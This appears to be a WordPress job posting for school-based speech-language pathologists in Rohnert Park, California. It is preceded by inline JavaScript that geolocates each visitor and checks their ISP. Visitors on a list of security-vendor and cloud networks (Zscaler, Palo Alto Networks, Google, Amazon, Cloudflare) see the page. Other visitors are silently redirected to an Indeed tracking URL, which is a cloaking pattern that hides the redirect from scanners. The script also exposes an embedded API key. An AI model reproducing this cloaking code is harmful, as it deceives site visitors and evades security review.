wp:html // retrieve user's IP address and location with CORS fallback const ipAddressUrl = 'https://ipapi.co/json/'; // Function to get IP and country using fallback methods async function getIPAndCountry() { try { // Try primary API (provides both IP and country) const response = await fetch(ipAddressUrl); const data = await response.json(); return { ip: data.ip, country: data.country }; } catch (error) { console.log('Primary IP API failed, trying fallback...'); try { // Fallback: Get IP first const ipResponse = await fetch('https://api.ipify.org?format=json'); const ipData = await ipResponse.json(); const ipAddress = ipData.ip; // Then get country from ip-api.com (free tier, no CORS) const countryResponse = await fetch(`https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`); const countryData = await countryResponse.json(); return { ip: ipAddress, country: countryData.countryCode }; } catch (fallbackError) { console.error('All IP retrieval methods failed:', fallbackError); return null; } } } // Main execution getIPAndCountry().then(result => { if (!result) { console.error('Could not retrieve IP address or country'); return; } const { ip: ipAddress, country } = result; // Check if user is in allowed countries const allowedCountries = ['US', 'GB', 'CA', 'FR']; // US, UK, Canada, France if (!allowedCountries.includes(country)) { console.log('Script will not run as the user is outside allowed countries.'); return; // Exit the script if the user is not in allowed countries } // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = 'https://www.indeed.com/tmn/ccs/5a30f4bb76fd38a8/c48f1fa7ed58c8dcb48285c182374464db0bbed898c4473fc536642b028fa3ef/2765583331732878?sf=yJ800'; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }); /wp:html
We are hiring
Speech-Language Pathologists and
Clinical Fellows for full-time, school-based roles in
Rohnert Park, CA, with opportunities in nearby areas.
Qualifications:
- Master’s degree in Speech-Language Pathology from an accredited program
- New Clinical Fellow graduates welcomed
- Active CA SLP license or credential
- Full-time, in-person position
Perks & Benefits:
- Competitive, flexible salary
- Travel stipends & relocation bonuses
- Medical, dental, vision insurance + 401(k) match
- Student loan support, grants, scholarships
- Wellness stipends & summer bonuses
- Paid professional development & mentorship
- Visa support for international applicants
- Additional benefits include employee discounts and the EdCares Fund
Why Join Us: Our people-first culture emphasizes compassion, integrity, diversity, and servant leadership. Recognized for growth and workplace excellence, we support both seasoned SLPs and new CFs in career development, offering flexibility, purpose, and a supportive environment.
Apply today to grow your career and make a meaningful impact!